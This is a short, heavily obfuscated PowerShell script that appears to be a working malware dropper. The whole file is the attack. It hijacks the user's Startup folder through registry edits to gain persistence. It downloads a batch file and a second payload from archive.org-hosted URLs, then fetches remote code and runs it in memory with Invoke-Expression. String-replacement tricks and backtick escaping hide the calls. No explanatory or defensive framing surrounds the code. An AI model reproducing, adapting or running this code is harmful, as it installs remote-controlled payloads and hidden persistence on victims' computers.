$A0="C:xxx.com\Run".Replace("xxx.com","\Users\Public")
$A1 = "CrEP".Replace("EP","eateDirectory")
$BB = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
$CC= "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
$DD = "C:leejonkun".Replace("leejonk","\Users\Public\R")
$EE ="C:kimjongun".Replace("kimjong","\Users\Public\R")
$cv = 'C:\Uscat'.Replace("c","ers\Public\Run\Run.b")
$cd = 'C:\js1'.Replace("j","Users\Public\ Microsoft.p")
$link = 'https://archive.org/details/server_20210520_0933'
[system.io.directory]::$A1($A0)
start-sleep -s 5
Set-ItemProperty -Path $BB -Name "Startup" -Value $DD;
Set-ItemProperty -Path $CC -Name "Startup" -Value $EE;
start-sleep -s 5
Function vip
{



start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('htt@@@@@@@@@@@@@@@@@@@@@@@@@/bat02.txt'.Replace("@@@@@@@@@@@@@@@@@@@@@@@@@","ps://ia801400.us.archive.org/0/items/bat02"),$cv)){
}
start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"($link, $cd)){
}
start-sleep -s 3
$A='DowRing'.Replace('R','nloadstr');
$B = 'WebCAMt'.Replace('AM','lien');
$d='tnt'.Replace('tn','Ne');
$link ='https://archive.org/details/server_20210520_0933';
$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
}
IEX vip